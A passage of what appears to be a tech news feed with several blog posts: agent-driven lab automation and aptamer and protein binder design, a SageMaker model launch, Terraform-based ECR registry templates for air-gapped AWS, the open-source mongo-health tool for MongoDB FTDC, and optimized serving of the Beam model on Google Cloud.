  First, we present the VERified Infrastructure for Discovery Laboratories (VERID) framework to bridge the gap between the high-level reasoning of AI agents and the complex, error-prone physical reality of a wet lab. It is a semantic digital twin of the laboratory workcell, i.e., a live, stateful 3D volumetric entity tree that tracks everything from robotic arm geometry to individual well volumes, reagent identities, and pipette tip inventory.
The safety of a command depends on the live physical context as well as the code. An agent can generate syntactically valid code that is physically impossible (e.g., lowering an 8-channel pipette into a narrow trough that is too short), logistically invalid (e.g., aspirating from a depleted well), or scientifically compromised by unmodeled fluidic effects.

  

  




  Built on top of the open-source PyLabRobot framework, VERID provides four core capabilities:
	Live 3D state tracking: Allow agents to check deck layout, well volumes, and available tips before acting.
	Fast virtual dry runs: Simulate protocols in seconds to catch collisions or empty wells before touching reagents.
	Hardware safety checks: Block invalid commands before they reach the robot.
	Synchronized video and action logs: Capture a complete record of every run for research rigor, reproducibility, and debugging.

In our report, we show these capabilities in action through case studies. First, synchronized video and execution traces caught uneven dye stratification caused by dispensing too close to the well floor, allowing the agent to refine its mixing strategy. In the same campaign, the persistent digital twin state allowed the agent to recover mid-run from a plate-reader failure without re-pipetting. Second, when the simulator rejected an 8-channel aspiration that physically wouldn't fit in a narrow trough, the agent replanned on the fly and designed a targeted factorial diagnostic isolating a subtle bias caused by residual tip-wall carryover that replication alone would have missed. Finally, in a closed-loop self-play campaign, an agent iteratively designed and ran robot experiments to reconstruct blinded dye mixtures from overhead camera images, identifying its own optical and fluidic artifacts across runs to improve accuracy more than fivefold.
Reproducible execution and full trace logs — capturing procedural variables like dwell times, evaporation, and plate layout — lay the groundwork for agents to eventually be able to separate biological signals from experimental noise as they explore and refine many candidates in parallel across rounds.

  

  


    Learning to learn with aptamers

            
        
        
    



  Agents need real experimental readouts to refine their hypotheses as computational models do not capture the full picture of what happens in a wet-lab reaction and cannot replace empirical validation. In “Aptamers as a sandbox for lab-in-the-loop agentic molecular discovery”, we use protein-binding DNA aptamers to prototype the lab in a closed loop with AI agents over 3 design-test-iteration cycles. Aptamer discovery is a type of experiment common in research efforts for clinical biomarker discovery. A complete aptamer design-test-analyze cycle takes just 7–10 days, as DNA can be chemically synthesized in pooled libraries and read out directly by sequencing. In each round, agents design candidate sequences, which are screened against target proteins on magnetic beads to isolate functional binders, and then sequenced to return rich quantitative data for the next cycle.

  

  




  Across three rounds on two protein targets with varying difficulty levels (myoglobin and α-thrombin), AI-driven rational and de novo design raised confirmed on-target hit rates as can be seen in the image below (to 33.5% and 42.1% for myoglobin and α-thrombin, respectively), though each target required identifying and overcoming a different wet-lab failure mode.
On α-thrombin, Round 1 yielded 0% binders because fixed primer overhangs disrupted folding in 48% of sequences; once the agents introduced clamped flanking stems in Round 2 and diversified in Round 3, hit rates climbed to 26.0% and then 42.1% at 98.5% specificity.
On myoglobin, as agents prioritized raw binding affinity in Round 2, they heavily enriched G-quadruplex motifs (63% of designs). While raw pull-down increased, the wet-lab data showed that most of these G-quadruplexes were non-specific "sticky" binders adhering to off-target proteins and bare magnetic beads, causing both target specificity (from 75.0% to 19.1%) and true, bead-corrected hit rate (from 10.2% to 3.7%) to plunge. Recognizing this artifact from the Round 2 readout, the agents autonomously revised their design rules for Round 3, capping promiscuous motifs, subtracting bead binders, and pivoting to non-G4 structural scaffolds to recover specificity (72.4%) and surge ninefold in on-target hit rate (33.5%).

  

        
  


In the paper, we also examine how agents reason like scientists, analyzing data and suggesting tweaks to wet-lab protocols, but also sometimes think atypically, exploring sequence spaces that structural biologists might not.



    
  


    Accelerating de novo protein binder design

            
        
        
    



  Closing the loop for proteins is more complex. Unlike aptamers, which are chemically synthesized, proteins must be expressed biologically, so each loop adds cellular or cell-free selection, expression, and folding steps. Together with a larger sequence space, this creates bottlenecks on both the computational and wet-lab sides.
In “Agent-guided epitope excision enables economical de novo binder design”, we applied our workflow to fibroblast activation protein alpha (FAP), a large, challenging receptor overexpressed in solid tumors. In just a few experimental runs, the top designs yielded binders with single-digit nanomolar affinity, a level of tight, drug-like binding typically achieved only after extensive rounds of laboratory optimization.

  

  




  Computationally, de novo binder design requires generating candidate backbones, designing sequences to fit them, and re-folding the resulting complexes to predict binding. That final re-folding step consumes the vast majority of GPU compute, as it scales quadratically with target length. By surgically excising just the local binding pocket during folding, our pipeline accelerated each cycle more than eightfold without losing structural accuracy. This turns decisions about where to bind and how much surrounding structure to include into tactical levers that LLM agents are well-suited to optimize.
In a head-to-head comparison at equal compute, human–agent collaboration, where a scientist sets the high-level strategy and an agent drives tactical execution, nearly doubled the in-silico hit rate of a scientist working alone while uncovering hits across a much broader range of target sites. To scale wet-lab screening alongside our computational pipeline, we operationalized yeast surface display with fluorescence-activated cell sorting (FACS), a workflow that allows us to screen large libraries of engineered protein variants in parallel by fluorescence.
Our next step is to weave these threads together, combining VERID’s fully traceable automation with closed-loop learning for protein discovery to enable agents to directly navigate complex, rugged biological search spaces in the wet lab.

  

  


    Safety

            
        
        
    



  In line with Google’s Frontier Safety Framework and our approach to bioresilience, we build safeguards across both the computational and wet-lab sides of our workflows:
	Safe testbeds and screening: We deliberately selected well-controlled, non-infectious biological systems without gain-of-function risk, as testbeds to evaluate agent behavior and catch drift early. Every designed sequence goes through biosecurity screening.
	Simulation before execution: Through VERID, agents never send unverified code directly to the liquid handling robots. Every protocol is dry-run in simulation and validated against the digital twin before touching reagents.
	Human oversight: Humans directly authorize and review designed sequences, verify wet-lab protocols, and supervise robot runs.

As AI agents take on more of the design-test cycle, new safety and reliability challenges emerge. Moving toward an autonomous wet lab requires solving these open problems with opportunities for human agency and oversight: ensuring agents optimize for true target binding rather than unintended experimental shortcuts, verifying multi-step wet-lab protocols, and continuously monitoring agent reasoning and execution traces.
From grounding agents in physical lab robotics, to running fast closed-loop aptamer cycles where agents learn to explore sequence space, to discovering single-digit nanomolar protein binders, these efforts form the building blocks for human-directed autonomous discovery in the life sciences. We're excited by this progress and look forward to sharing what comes next.
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Nemotron 3.5 Super VL model now available on Amazon SageMaker JumpStart

What's New with AWS · Oct 16, 5:59 PM UTC

NVIDIA's Nemotron 3.5 Super VL is now available on Amazon SageMaker JumpStart, expanding the portfolio of foundation models available to AWS customers. This vision-language model from the Nemotron 3.5 family accepts images, video, and text as input and generates text, enabling customers to deploy multimodal AI solutions on AWS infrastructure.
Nemotron 3.5 Super VL is designed for document intelligence, GUI understanding, video question answering, and multimodal agentic applications. It pairs a 120B-parameter hybrid Mixture-of-Experts (MoE) language backbone with 12B active parameters and a vision encoder, supporting context lengths of up to 1 million tokens. The model includes a built-in Multi-Token Prediction (MTP) head for speculative decoding to accelerate text generation, with reasoning configurable per request. It supports ten languages including English, French, Spanish, German, Japanese, Hindi, Korean, and Chinese. Post-trained with multimodal supervised fine-tuning on image, video, document, chart, and GUI data followed by GRPO reinforcement learning, it delivers structured JSON output, tool calling, and configurable reasoning for enterprise agent workflows. SageMaker JumpStart offers two variants: NVFP4 for optimized inference on G7 instances with NVIDIA RTX PRO 4500 Blackwell Server Edition GPUs, and BF16 reference weights on ml.p5en.48xlarge for customization including SFT, RL, distillation, and domain adaptation.
With SageMaker JumpStart, customers can deploy Nemotron 3.5 Super VL with just a few clicks to address their specific AI use cases.
To get started with these models, navigate to the SageMaker JumpStart model catalog in the SageMaker console or use the SageMaker Python SDK to deploy the models to your AWS account. For more information about deploying and using foundation models in SageMaker JumpStart, see the Amazon SageMaker JumpStart documentation.
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Automating secure container registry management for air-gapped AWS workloads

AWS Containers · Oct 16, 5:48 PM UTC

Organizations in regulated industries such as financial services, healthcare, government, and defense often manage their container registries in air-gapped AWS environments. These are Amazon Virtual Private Cloud (VPC) environments with no internet gateway and no NAT gateway, which organizations isolate to meet strict regulatory and security requirements. The isolation is the point: it helps organizations shrink their attack surface and keep sensitive workloads away from the public internet.
That isolation also creates a practical problem. Before a single application can run, infrastructure teams need to bring every dependency inside the boundary. For a typical Kubernetes environment, that means migrating dozens to hundreds of Helm charts and container images from public and private source registries into a private Amazon Elastic Container Registry (Amazon ECR). And it isn’t enough to copy the artifacts across. Teams need to configure each repository to enforce the same security controls: encryption with customer-managed keys, immutable image tags, enhanced scanning, and lifecycle rules.
We saw this firsthand on an engagement with a European financial services institution operating under strict regulatory requirements. The hard part wasn’t any single repository. It was doing this consistently, across a large and growing set of repositories, without the security posture drifting from one to the next. That’s a design problem, not a scripting problem, and it is the problem this post is about.
In this post, we walk through an approach that uses Amazon ECR repository creation templates, infrastructure as code with Terraform, and a migration tool to make secure-by-default the path of least resistance. Although this post is structured as a technical how-to, it focuses on architectural decisions and trade-offs rather than step-by-step deployment. The sample repository linked at the end provides the full implementation. We assume familiarity with Amazon ECR, Terraform, and container orchestration with Kubernetes.
Why manual approaches fall short
The instinct when facing a one-time migration is to script it: pull each image, push it to a repository you created by hand, and move on. That works for a handful of repositories. It breaks down well before you reach a hundred, and it breaks down in ways that matter most in regulated environments.
Security drift. When each repository is configured by hand or by an ad hoc script, small inconsistencies creep in. One repository ends up with mutable tags, another misses a lifecycle policy, a third uses the wrong encryption key. None of these is obviously wrong at the time, and these inconsistencies are hard to find later. In an environment where you must demonstrate a consistent control posture to an auditor, inconsistency is itself the risk.
Encryption defaults. Amazon ECR encrypts images at rest by default, but the default uses an AWS managed key. Many regulated organizations need customer-managed keys in AWS Key Management Service (AWS KMS) so they can control the key policy, rotation, and access. This matters more than it first appears, because the encryption configuration of a repository can’t be changed after the repository is created. If you get it wrong, the fix is to create a new repository and migrate the images again.
Multi-architecture collapse. A naive pull-and-push collapses a multi-architecture manifest list down to a single platform, usually whichever one the migration host happens to run. Everything looks fine until an arm64 node tries to pull an image that now only contains an amd64 variant, and a workload fails to schedule days or weeks later.
Private registry authentication. Real environments don’t pull only from Docker Hub. They pull from Harbor, JFrog Artifactory, and other private ECR registries, each with its own credentials. Handling those credentials securely and repeatably, without hardcoding them into scripts or config files, is fiddly to get right and likely to go wrong.
None of these problems is exotic. Together they explain why manual migration doesn’t scale: the cost isn’t only the hours of toil, it’s the inconsistency, and inconsistency in a regulated environment is a compliance and reliability liability.
An automated approach with ECR repository creation templates
The mechanism that changes the economics here is the Amazon ECR repository creation template. A repository creation template lets you define repository settings once, and Amazon ECR applies them automatically whenever a new repository is created that matches a given prefix. Combined with the CREATE_ON_PUSH capability, a repository is created, with the correct settings already applied, the first time an image is pushed to a matching path. You don’t need to pre-provision hundreds of repositories or configure them individually.
The following diagram shows the end-to-end flow from source registries through to the air-gapped cluster.

 
 Figure 1: End-to-end flow: artifacts are migrated once from public and private source registries into private Amazon ECR, where repository creation templates enforce security controls, and an air-gapped Amazon Elastic Kubernetes Service (Amazon EKS) cluster pulls exclusively through VPC endpoints

At a high level, the flow works in three steps:
	Source registries. Helm charts and container images start in public registries (such as Docker Hub) and private registries (such as Harbor and JFrog Artifactory).
	Migration tool. The migration tool copies each artifact into the account, preserving multi-architecture manifests and authenticating to private sources through AWS Secrets Manager.
	Repository creation templates. As each artifact is pushed, Amazon ECR creates the target repository from a matching template, applying customer-managed encryption, immutable tags, and lifecycle rules automatically. The air-gapped Amazon EKS cluster then pulls exclusively through VPC endpoints.

The important shift is that repository creation templates apply your security settings automatically, which helps reduce configuration drift. You remain responsible for your overall security posture, including key management and lifecycle policies. The template encodes your standard: customer-managed AWS KMS encryption, immutable tags, and a lifecycle policy to expire untagged images. Repositories created through it inherit that standard identically.
Here’s the core of the template, expressed with Terraform. This single resource definition encapsulates the security-by-default posture (encryption, immutability, and lifecycle) that every auto-created repository will inherit:

 resource "aws_ecr_repository_creation_template" "templates" {
  for_each = { for t in var.repository_templates : t.prefix => t }

  prefix = "${var.resource_prefix}${each.value.prefix}"
  applied_for = ["CREATE_ON_PUSH"] # auto-create repos on first push

  encryption_configuration { # customer-managed AWS KMS encryption
    encryption_type = "KMS"
    kms_key = aws_kms_key.ecr.arn
  }

  image_tag_mutability = "IMMUTABLE" # prevent tag overwrites

  lifecycle_policy = jsonencode({ # expire untagged images
    rules = [{
      rulePriority = 1
      description = "Expire untagged images"
      selection = {
        tagStatus = "untagged", countType = "sinceImagePushed"
        countUnit = "days", countNumber = var.lifecycle_expiration_days
      }
      action = { type = "expire" }
    }]
  })

  custom_role_arn = aws_iam_role.ecr_template_role.arn
}

The full Terraform module, including the KMS key with rotation, the IAM role Amazon ECR assumes, variable definitions, and provider configuration, lives in the sample repository. This snippet shows only the template resource itself, which is where the security-by-default decisions are encoded.
A few things are worth calling out. The template is driven by a list, so you can define as many repository categories as your platform needs, for example one prefix for Helm charts, one for the images those charts reference, and others for application or model images. Early on it is tempting to assume two categories are enough. In practice teams almost always want more, so it pays to make this list-driven from the start. The custom_role_arn is required whenever a template uses customer-managed AWS KMS encryption or applies resource tags, because Amazon ECR assumes that role to create the repository on your behalf.
Enhanced scanning is deliberately absent from the template, and that isn’t an oversight. Scanning in Amazon ECR is configured at the registry level rather than per repository. You set enhanced scanning once, with scan-on-push and continuous scanning, and it applies to every repository in the registry, including the ones the templates create later. Keeping scanning at the registry level and everything else in the template is the cleaner design, and it avoids the mistake of assuming a repository is being scanned because its template looked secure.
You provision all of this with Terraform: the templates, the AWS KMS key with rotation enabled, the AWS Identity and Access Management (IAM) role Amazon ECR assumes, and the registry scanning configuration. Because it’s infrastructure as code, the security posture is reviewable in a pull request, repeatable across accounts and AWS Regions, and idempotent to reapply.
Handling Helm charts and multi-architecture images
Templates solve repository configuration. They don’t solve the migration itself, and the migration has its own set of non-obvious problems. This is where a purpose-built migration tool earns its place, and where much of the practical value lives. The sample repository includes a migration tool called ecr-artifact-manager that handles the end-to-end artifact migration workflow described in the following section.
Multi-architecture preservation is the first. Rather than pulling and re-pushing an image, the tool copies the full manifest list so that every platform variant, such as amd64 and arm64, survives the move intact. It inspects the source manifest before copying and verifies the platforms afterward, which catches the silent single-platform collapse before it reaches a cluster.
Helm charts add another layer, because a chart isn’t self-contained. It references container images, and it may depend on other charts. Migrating a chart correctly means resolving those references and rewriting them to point at the private Amazon ECR locations. The tool then repackages the chart so that a cluster inside the air-gapped boundary can install it without reaching back out to the internet. In practice, the tool parses each chart’s values.yaml and sub-chart dependencies, replaces source registry URLs with the target ECR prefix (matching the repository creation template prefixes), and repackages the modified chart as an OCI artifact. The tool then pushes the chart itself to Amazon ECR as an OCI artifact, in exactly the same secure repositories the templates produce.
Authentication to private source registries is handled through AWS Secrets Manager, which centrally manages and rotates secrets and credentials. Credentials for a source registry, such as Harbor or Artifactory, live in a secret rather than in a config file, and the tool retrieves them at runtime. This keeps credentials out of source control and lets you rotate them centrally. One detail worth planning for: when the source is another Amazon ECR registry, its authorization token is short-lived and expires after 12 hours, so long-running migrations need to account for token refresh.
The result is a single workflow that pulls from a mix of public registries, such as Docker Hub, and private ones, and lands everything in private Amazon ECR with consistent security applied by the templates.
After artifacts are in Amazon ECR, the air-gapped cluster pulls them exclusively through VPC endpoints, using private connectivity that doesn’t traverse the public internet. These VPC endpoints are part of the air-gapped VPC’s network foundation. You provision them separately from this pattern, and you must have them in place before you deploy workloads. Figure 1 shows the specific endpoints involved.
Design considerations and trade-offs
The mechanics described earlier become clear after you see them in context. The decisions around them are where an infrastructure team should spend its attention, because most of them are hard to reverse.
Templates apply to new repositories only. A repository creation template affects repositories created after it exists, through CREATE_ON_PUSH. It doesn’t retroactively change repositories that already exist. For a greenfield air-gapped environment this is a non-issue, because all repositories in scope are new. For a brownfield migration into an existing registry, you need a deliberate strategy for the repositories that predate the template, because they won’t inherit its settings.
Some settings are immutable at creation. The encryption configuration in particular can’t be changed after a repository is created. This raises the cost of getting your AWS KMS strategy right up front, including whether you need multi-Region keys for disaster recovery. It is far cheaper to decide this before the first push than to migrate images into new repositories later.
Immutable tags change how teams work. Immutable tags are a strong control. They prevent an image tag from being overwritten, which protects the integrity of what you deployed and gives you a trustworthy audit trail. The trade-off is that teams accustomed to overwriting a floating tag, such as latest, must adopt versioned tags and a promotion workflow instead. In a regulated context the control is usually well worth the change in habit, but it is a real change and worth naming for your teams rather than letting them discover it.
Scale brings rate limits into play. At a hundred repositories and beyond, the constraints are no longer about correctness but about throughput. Public registries such as Docker Hub enforce pull rate limits, and AWS APIs throttle. The practical answers are to authenticate to source registries to raise their limits, to process artifacts in batches, to run independent batches in parallel where it helps, and to rely on retry with exponential backoff so transient throttling doesn’t fail the run. The sample migration tool implements this retry logic internally. For Docker Hub pull rate limits specifically, running multiple tool instances with separate authenticated credentials is a practical workaround. A migration that skips already-completed work on restart turns a multi-hour job into something you can safely interrupt and resume.
Credentials expire. Beyond the 12-hour Amazon ECR token lifetime mentioned earlier, source registry credentials in AWS Secrets Manager should be on a rotation schedule. Building rotation into the design from the start is more efficient than retrofitting it.
When this pattern is not the right fit
If you have fewer than ten repositories, or you are not operating under regulatory or air-gapped constraints, the overhead of templates, Terraform modules, and a dedicated migration tool may be more than you need.
The pattern pays off when consistency across many repositories is a requirement rather than a nicety. It’s particularly valuable when you need to demonstrate that consistency to auditors, and when the cost of getting encryption or tag mutability wrong on a single repository is high. Those settings can’t be changed after creation. If those conditions describe your environment, the upfront investment in automation repays itself quickly.
Getting started
The pattern uses Terraform and requires an AWS account with permissions to create Amazon ECR, AWS KMS, and IAM resources. It works in any AWS Region that supports Amazon ECR enhanced scanning. See the sample repository for tested tool versions. For more on Amazon ECR capabilities, see the Amazon ECR service page. For a related walkthrough on container security, see the Amazon ECR documentation. The complete, deployable code is available as a sample on GitHub: sample-ecr-automation-for-air-gapped-environments. It includes the Terraform modules, the migration tool, example configurations, and documentation covering deployment, architecture, security, and scaling. This is sample code intended to demonstrate the pattern. You must review and test it against your own security and compliance requirements before production use. As with any AWS workload, security is a shared responsibility.
To go deeper on the AWS capabilities involved, see the Amazon ECR documentation on repository creation templates, encryption at rest, image scanning, and interface VPC endpoints.
Conclusion
We opened this post with an observation: the hard part of running containers in an air-gapped environment isn’t any single repository. It’s maintaining a consistent security posture across all of them without drift. That’s a design problem, and it deserves a design solution. Repository creation templates, infrastructure as code, and a migration tool that respects the complexity of Helm charts and multi-architecture images together make secure-by-default the path of least resistance, so the correct configuration is applied automatically rather than left to human diligence.
We encourage you to try the sample repository, adapt the templates to your organization’s compliance requirements, and share what you learn by opening an issue or pull request.
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“MongoDB was slow on Thursday”: answering the app team with mongo-health

Percona · Oct 16, 5:32 PM UTC

Monday, 9:00. The app team writes: “MongoDB was slow on Thursday afternoon. What happened?” No alert fired, nobody looked at the time, and now it is your problem.
The answer is usually in the FTDC. Every mongod writes a sample of its own metrics once per second into diagnostic.data, and MongoDB calls this Full Time Diagnostic Data Capture. On Atlas, we measured an M10 under production traffic keeping only two to five days of it, so Thursday may already be gone.
If you still have the files, you open them in a viewer and start reading charts around Thursday afternoon. If you are lucky, the cause is on one of the first ten charts. If not, you read another forty. And nobody reads the rest of the file. A missing index that scans 10 million documents for every one it returns, a disk that takes 400 ms per write for three minutes, a member that loses packets for 30 s: all of it is in the FTDC, and most of it is never reported.
mongo-health does that reading for you, on self-managed replica sets and on MongoDB Atlas. It keeps every second of FTDC for 3 months, runs 68 checks over it every hour, and gives you one verdict per cluster. By Monday, Thursday is already on the page: what happened, on which member, for how long, and the chart to send the app team.
It is open source (Apache 2.0), runs as three Docker containers on your laptop or a server, and installs nothing on the database hosts. Install it in four commands from mongo-health on GitHub.
Monday morning: open the page
You open the page for the cluster. The verdict comes first, and its link goes straight to the finding behind it. This one is an Atlas M10 we keep for testing, with 29.92 days of FTDC. A cluster that stops sending data reads “Not being watched”, never an old “Healthy”.
Click a finding and you get a card. Take the disk one further down: writes took up to 400 ms, the chart shows it second by second on the three members, and a line says it is the third time on this cluster. Below that, a short note on where to look next. Once you have fixed the cause, press I fixed this and leave a note. The card leaves the report, and if the problem comes back, mongo-health shows it as a repeat.
The 68 checks cover tickets and queues, cache and memory, storage, replication, connections, queries, configuration and the cluster’s own history. The README lists them by group, and docs/rules.md explains each threshold.
Six complaints, and what the page showed
Each heading below is a complaint an app team sends a DBA all the time. Under it is the card mongo-health built for the problem behind it. We caused five of the problems on purpose, on a three-member Percona Server for MongoDB 8.0 replica set in our lab. The sixth happened on its own on the Atlas M10. Nothing in the screenshots was edited.
1. “The reports page timed out last night”
We ran a query on the lab that had no index to use. From 20:53 the server read about 10 million documents for every one it sent back, for 10 minutes, and then again at 21:54. Anything above 100 to 1 is enough for the rule. Nothing failed and nothing showed in the log, so you would never have found it there. The card points to a missing index and gives you the minute it started, which you can check against the app team’s last deploy.
2. “Writes were timing out around 22:15”
At 22:13 the disk under the lab got slow. For three minutes, writes on all three members took up to 400 ms each, and the rule draws the line at 10 ms. It was not the first time. The card counts three on this cluster and links the other two, which turns “bad luck” into a pattern you can take to the storage team.
3. “Queries are slow, but only sometimes”
This one we did not cause. On 5 Oct at 08:25, one member of the Atlas M10 retransmitted up to 30 TCP segments a second for about 30 s, and the rule starts at 5. The server itself answered quickly. The packets got lost on the way. There is nothing to fix on your side, but you can stop looking for a slow query that never existed and open a case with the chart attached.
4. “Everything froze for a few seconds”
We pushed a steady stream of bulk rewrites at the lab, and checkpoints that normally finish in under a second started taking 6 to 11 s on all three members. It happened twice in 10 minutes. The rule waits until checkpoints stay above 1 s for two minutes, so a single slow one does not raise it. This kind of freeze rarely shows on a throughput chart, which is why it so often ends as “we don’t know what happened”.
5. No complaint yet: the oplog was filling fast
Nobody would have called about this one yet. The lab took about 250 writes a second, a number that looks harmless on any operations chart. But every write replaced a whole 20 KB document, so each one put about 20 KiB into the journal, and the rule starts at 3.91 KiB. At that pace the oplog fills in an hour instead of a day. Then a secondary that falls an hour behind needs a full resync, so this is the time to fix the update pattern.
6. “The monthly report takes forever”
Here we shrank the WiredTiger cache to 128 MB and scanned a 1.9 GB collection. For 4 minutes WiredTiger pulled 20,000 to 68,000 pages a second from disk, and the rule starts at 10,000. The data the report needed simply did not fit in memory. The card does not call that a problem by itself. It sends you to the disk latency and the read tickets first, because that is how you decide between more memory and a better query.
Your servers, Atlas or a support bundle
A self-managed replica set needs a user with the clusterMonitor role, and the poller calls getDiagnosticData on each member every 10 s. Atlas needs an API key with Project Read Only, the lowest role Atlas has, and the FTDC files come through the Atlas Admin API. You can also upload diagnostic.data from a support bundle. The README has the steps for each.
What it does not do yet
mongo-health does not replace your monitoring. It reads the FTDC once an hour, so a problem can be up to an hour old before it reaches the page, and it never pages anyone. Keep PMM, or whatever wakes you up today, for alerts. It also works with replica sets only. Sharded clusters are not supported yet, and the README lists the other limits.
The next time the app team asks
Live monitoring tells you what is happening now. mongo-health tells you what happened at every second of the last three months, on every member, and which of it matters. The next time someone asks about Thursday, you answer with the chart, the member and the minute it started, not with “we could not find anything”. Often you have the answer before they ask.
The install, the checks and the configuration are in the README on GitHub.
For the details of FTDC itself, see Full Time Diagnostic Data Capture in the MongoDB manual. The rules come from Big Hole, and each one is documented in the repository.
If you try it, I would like to hear what it found and what it missed. The most useful feedback is FTDC from an incident it did not catch: open an issue on the repository, or leave a comment below.
The post “MongoDB was slow on Thursday”: answering the app team with mongo-health appeared first on Percona.
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Day 0 support for Reflection’s Beam on Google Cloud: 5x faster perf with llm-d and NVIDIA Dynamo

Google Cloud · Oct 16, 5:00 PM UTC

Today, Reflection released Beam, its first open-weight model built to give developers, researchers, and enterprises open control and customization for frontier software engineering and long-horizon agentic tasks. Released under a permissive Apache 2.0 license with BF16, FP8, and NVFP4 checkpoints available at launch, Beam sets a new standard for inference efficiency in the 500B-parameter class by solving complex reasoning and coding problems with 3x to 4x higher reasoning compute efficiency than comparable open models.

Alongside today’s release, Google Cloud is announcing day 0 support and ready-to-run deployment recipes for serving Beam on Google Cloud AI Hypercomputer and NVIDIA AI Infrastructure.

To help developers get the full benefit of Beam’s token efficiency in production, we worked with Reflection to optimize performance of the underlying serving stack using llm-d (with vLLM) and NVIDIA Dynamo (with SGLang) on Google Cloud:

"By deploying our Beam model on Google Cloud, we achieved up to 5x higher performance and 8x lower latency to optimize serving of agentic workloads." - Joe Spisak, VP of Product & Head of Open Source, Reflection

With today’s day 0 release on Google Cloud, developers get:

	
Compounding model and system efficiency: Combining Beam’s 3x to 4x reasoning compute efficiency with system-level optimizations on A4X Max instances (NVIDIA GB300 NVL72) for up to 5x higher throughput and 8x lower latency,* and G4 VMs (NVIDIA RTX PRO 6000) for up to 2x higher throughput and 8x lower latency.*


	
High-efficiency multi-turn serving: KV-cache-aware routing, prefill/decode disaggregation, speculative decoding and hierarchical KV cache offloading to Host DRAM and Local SSD reduce redundant prompt recomputation across long coding sessions.


	
Turnkey optimized deployment: Our recommended performance optimized recipes for agentic workloads with llm-d and NVIDIA Dynamo are available in AI-Hypercomputer/gpu-recipes, llm-d repo and Model Garden in Gemini platform with a few clicks. 




*Based on customer benchmarking

Scaling inference requires system-level optimization

When evaluating models for agentic coding and tool use, inference efficiency happens at two distinct layers: how efficiently the model reasons and how efficiently the serving system executes multi-turn loops.

Model-level efficiency: Reflection’s Beam

Reflection designed Beam (~501B total parameters with ~23B active parameters per token, and an approximately 1M-token context window) specifically for text-native software engineering and multi-step tool use. It plugs directly into the coding harnesses developers already use, including Reflection’s Mirror CLI, Claude Code, Hermes, OpenCode, and , to resolve GitHub issues, run CLI and DevOps workflows, and complete long-horizon tasks.

Because Beam activates only 23B parameters per token and reaches solutions using 3x to 4x fewer reasoning tokens than other comparable open weight models, it dramatically reduces the inference-time compute required for each reasoning step.

System-level efficiency: AI Hypercomputer optimized serving

Once developers deploy an agent into production, a second set of bottlenecks could appear at the serving layer. In an agentic coding loop, the model is called dozens of times in a single session. With every turn, the coding harness appends new file reads, code diffs, compiler logs, and tool outputs to a shared conversation history that quickly grows to tens or hundreds of thousands of tokens.

Even when the model itself generates 3x to 4x fewer reasoning tokens on each turn, the accumulated context window across turns creates two major infrastructure challenges:

First, prefill compute becomes a bottleneck. Standard Kubernetes load balancers distribute requests using stateless round-robin routing. When a coding harness sends Turn 15 of a session, it often lands on a different replica than Turn 14. That replica is forced to recompute the entire historical prompt from scratch, wasting GPU compute and creating long prefill queues that delay other users.

Second, decode becomes bottlenecked by KV cache capacity. Holding long-context KV caches for dozens of concurrent agent sessions quickly fills up GPU High-Bandwidth Memory (HBM). Once HBM fills up, the serving engine has to evict older KV blocks. As soon as those blocks are evicted, cache hit rates drop and GPU throughput stalls.

To preserve Beam’s model-level efficiency at cluster scale, the serving stack has to be optimized as a distributed system. That is why our recipes pair Beam with llm-d (with vLLM) and NVIDIA Dynamo (with SGLang).

Inside the AI Hypercomputer inference architecture

To run Beam’s BF16, FP8, and NVFP4 checkpoints at peak efficiency on Day 0, we designed a vertically integrated architecture on AI Hypercomputer where each layer handles a specific part of the agentic serving lifecycle.
System optimized architecture for serving agentic traffic
Rather than treating inference pods as stateless endpoints, each layer of the stack is co-designed around the multi-turn agent lifecycle:

	
Prefix- and load-aware routing (GKE + llm-d EPP / Dynamo router): Tracks cached prefixes and queue depth across worker pods, steering each follow-up turn from a coding harness to the replica holding its warm KV prefix while preventing queue saturation via turn-priority flow control.


	
Disaggregated compute and speculative decoding (A4X Max & G4 instance): Runs vLLM and SGLang with native Blackwell NVFP4, Expert Parallelism (EP) for Beam’s 23B active experts, Data-Parallel Attention, and DFlash2 speculative decoding. Separating Prefill and Decode (P/D) pools ensures heavy prompt bursts never stall active token generation.


	
Tiered KV cache (GPU Memory -> DRAM & Local SSD) Active KV blocks stay in high-bandwidth GPU memory (Tier 1), while warm KV blocks evicted during long-horizon sessions overflow into host CPU DRAM and local NVMe SSDs (Tier 2) via vLLM’s OffloadingConnector or SGLang's HiCache, allowing historical context to be fetched in milliseconds instead of recomputed from scratch.




System optimizations for multi-turn agentic workloads

When serving multi-turn coding and tool-use workloads like the AgentX trajectory dataset across rising concurrency levels, each layer in the serving stack contributes to the performance and latency improvements for multi-turn, long context traffic patterns of agentic workloads:

A note on reading these charts. The two configurations are not comparable to each other. NVIDIA Dynamo ran on A4X Max instances with 32 x NVIDIA GB300 NVL72GPUs; llm-d ran on G4 VMs with 8 x NVIDIA RTX PRO 6000 GPUs. Each chart shows the gain over a baseline on the same hardware. More replicas give the router more warm KV caches to hit and more room to split prefill from decode, so the uplift grows with the deployment. Both llm-d and NVIDIA Dynamo scale up and down to match the underlying infrastructure.
NVIDIA Dynamo optimized perf vs baseline deployment of Reflection's Beam
llm-d optimized perf vs baseline deployment of Reflection's Beam
Across both platforms, layering these optimizations shifts the Pareto frontier to deliver higher output throughput and faster per-user interactivity simultaneously:

	
Baseline deployment (Stateless round-robin routing). In a standard Kubernetes deployment without prefix awareness, consecutive turns from the same coding session land on different replicas, forcing constant prefill recomputation on historical context and causing throughput to plateau as concurrency scales.


	
KV-cache-aware & flow control routing. Enabling prefix-aware routing in NVIDIA Dynamo or llm-d’s Sticky EPP with turn-priority flow control keeps multi-turn agent trajectories pinned to the replica holding their warm KV cache, immediately cutting Time-to-First-Token (TTFT) latency and freeing up GPU compute, resulting in a significant increase in token throughput.


	
Host DRAM and Local SSD (LSSD) KV offloading. Offloading evicted KV blocks from GPU memory into host DRAM and local NVMe SSDs prevents cache thrashing when dozens of long-context coding sessions exceed on-device GPU memory capacity.


	
Disaggregated serving, speculative decoding, and KV pool tuning. Tuning hybrid KV cache memory allocation, enabling speculative decoding, and disaggregating prefill and decode workers isolates token generation from heavy prompt bursts while the draft model multiplies output throughput to keep per-agent token interactivity fast.




Get started and meet us at PyTorchCon and GTC Berlin 

This blog explored how you can leverage system level optimizations to scale performance to serve Reflection's Beam family of models for agentic workloads. All of the Kubernetes manifests, router configurations, and benchmarking scripts from this post are open-source and ready to run on your own GKE cluster.

	Deploy the optimized stack: Explore the day 0 guides for running Reflection’s Beam with llm-d and NVIDIA Dynamo in the AI-Hypercomputer/gpu-recipes repository on A4X Max and G4, and Model Garden in Gemini platform.
